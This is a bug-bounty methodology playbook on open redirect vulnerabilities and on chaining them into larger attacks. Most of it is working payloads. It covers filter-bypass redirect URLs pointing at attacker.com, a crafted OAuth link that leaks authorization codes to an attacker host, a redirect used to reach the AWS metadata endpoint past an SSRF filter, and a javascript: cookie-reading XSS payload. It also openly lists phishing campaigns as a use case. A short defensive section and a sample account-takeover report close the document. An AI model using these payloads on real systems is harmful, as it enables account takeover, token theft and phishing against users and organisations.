ShulkwiSEC Open Redirect & Chaining Attacks
When to Use
- When encountering URL parameters designed for navigation:
?next=,?returnUrl=,?redirect_to=,?url=. - When testing login portals, logout forms, or multi-step checkout processes that redirect users upon completion.
- When an OAuth integration restricts
redirect_urito the target domain, but an Open Redirect exists on that domain to steal the tokens. - To facilitate highly credible phishing campaigns leveraging a trusted corporate domain.
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Identifying the Open Redirect
# Concept: Ascertain if changing the target URL forces a 301/302 HTTP response
# to an attacker-controlled site.
# 1. Probing obvious parameters
https://target.com/login?next=https://attacker.com
# 2. Check the HTTP Response
HTTP/1.1 302 Found
Location: https://attacker.com
# Vulnerability Confirmed!
Phase 2: Bypassing Filters & Validation
# Concept: Developers often attempt to validate URLs (e.g., ensuring they start
# with the valid domain or a `/`). We must creatively bypass these checks.
# 1. Bypassing "Must start with target.com" validations
https://target.com/login?next=https://target.com.attacker.com # Attacker creates a clever subdomain
https://target.com/login?next=https://attacker.com/target.com # Placing target name in path
https://target.com/login?next=https://target.com@attacker.com # Using basic auth structure
# 2. Double URL Encoding & Whitespace
https://target.com/login?next=%0d%0a//attacker.com # CRLF Injection bypass
https://target.com/login?next=\/\/attacker.com # Backslash bypass
https://target.com/login?next=//attacker.com # Protocol relative URL (browsers evaluate to http/https)
# 3. Trailing Slashes & Browser Normalization
https://target.com/login?next=https://attacker.com%2F%2E%2E%2F # Browser evaluates encoding differently than backend
Phase 3: Exploitation and Impact Escalation (Crucial for Bug Bounty)
# Note: Many bug bounty programs mark basic Open Redirects as "Out of Scope" or "Low" priority
# because the impact is "only" phishing. You MUST chain it!
# Escalation 1: OAuth Token Theft (High/Critical Impact)
# Scenario: Target uses Google OAuth. The `redirect_uri` MUST strictly match `https://target.com/callback`.
# Attacker leverages the Open Redirect on target.com.
https://accounts.google.com/o/oauth2/auth?client_id=target_id&redirect_uri=https://target.com/callback?next=https://attacker.com&response_type=token
# Result: Google trusts target.com, sends the token to target.com. Target.com executes the Open Redirect,
# forwarding the OAuth Token via the Referer header or URL fragment to attacker.com. Session taken!
# Escalation 2: Bypassing SSRF Defenses (High/Critical Impact)
# Scenario: An API fetches data from user-supplied URLs, but blocks `http://169.254.169.254` (AWS Metadata).
# Attacker provides the Open Redirect URL instead:
POST /api/fetch HTTP/1.1
{"url": "https://target.com/redirect?to=http://169.254.169.254/latest/meta-data/"}
# Result: The strict SSRF filter allows `https://target.com`, but the HTTP client follows the 302 redirect directly into the metadata service, bypassing the filter.
# Escalation 3: Cross-Site Scripting (XSS) (Medium Impact)
# Scenario: The redirect is handled via JavaScript `window.location = params.url` instead of HTTP 302.
https://target.com/redirect?to=javascript:alert(document.cookie)
Decision Point 🔀
flowchart TD
A[Inject `https://attacker.com` into redirect param] --> B{Does a 302 redirect occur?}
B -->|No| C[Try filter bypasses: `target.com@attacker.com`, `//`, `\/\/`]
B -->|Yes| D{Assess Impact Escalation}
D --> E[Chain with OAuth `redirect_uri`]
D --> F[Chain with SSRF Filters]
D --> G[Try `javascript:` for DOM/Reflected XSS]
🔵 Blue Team Detection & Defense
- Strict Whitelist: Maintain a hardcoded map of acceptable redirect destinations and pass the index, not the URL.
- SECURE:
?redirect_to=1(maps to/dashboard)
- SECURE:
- Relative URL Enforcement: Validate that redirect URLs begin with a single
/and do not begin with//orhttp, ensuring they restrict users exclusively to the current domain. - Confirmation Page: If redirecting external is necessary, enforce an interstitial "You are leaving Target.com, click here to continue" page. This completely nullifies OAuth token stealing and automated SSRF chaining.
Key Concepts
| Concept | Description |
|---|---|
| Open Redirect | An input validation flaw where untrusted data specifies the target of a web redirect |
| Exploit Chaining | The process of combining multiple low-severity vulnerabilities to achieve a high-severity impact |
| OAuth Token Theft | Exploiting an open redirect on an authorized Client Domain to steal tokens from the Authorization Provider |
Output Format
Bug Bounty Report: Account Takeover via OAuth & Open Redirect Chain
===================================================================
Vulnerability: Open Redirect escalated to OAuth Token Theft (Account Takeover)
Severity: High (CVSS 8.1)
Target: GET /login/redirect?url=
Description:
A classic Open Redirect exists at `/login/redirect?url=`. While normally a low-severity phishing vector, this vulnerability can be chained with the application's GitHub OAuth flow. The OAuth configuration correctly restricts callbacks to `https://target.com/`, but by embedding the Open Redirect into the OAuth callback flow, an attacker can steal the OAuth authorization code.
Reproduction Steps:
1. Send the victim the following crafted Microsoft OAuth link:
`https://github.com/login/oauth/authorize?client_id=TARGET_ID&redirect_uri=https://target.com/login/redirect?url=https://attacker.com/log`
2. The user authorizes the application on GitHub.
3. GitHub sends the code to: `https://target.com/login/redirect?url=https://attacker.com/log&code=xyz123`
4. Target.com executes the open redirect.
5. The victim's browser sends the `code` within the HTTP Referer header to `attacker.com/log`.
6. The attacker uses the stolen `code` to authorize their own session.
Impact:
Full Account Takeover (ATO) for any user leveraging GitHub Single Sign-On.
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
References
- OWASP: Unvalidated Redirects and Forwards
- PortSwigger: Open routing vulnerabilities
- PayloadsAllTheThings: Open Redirect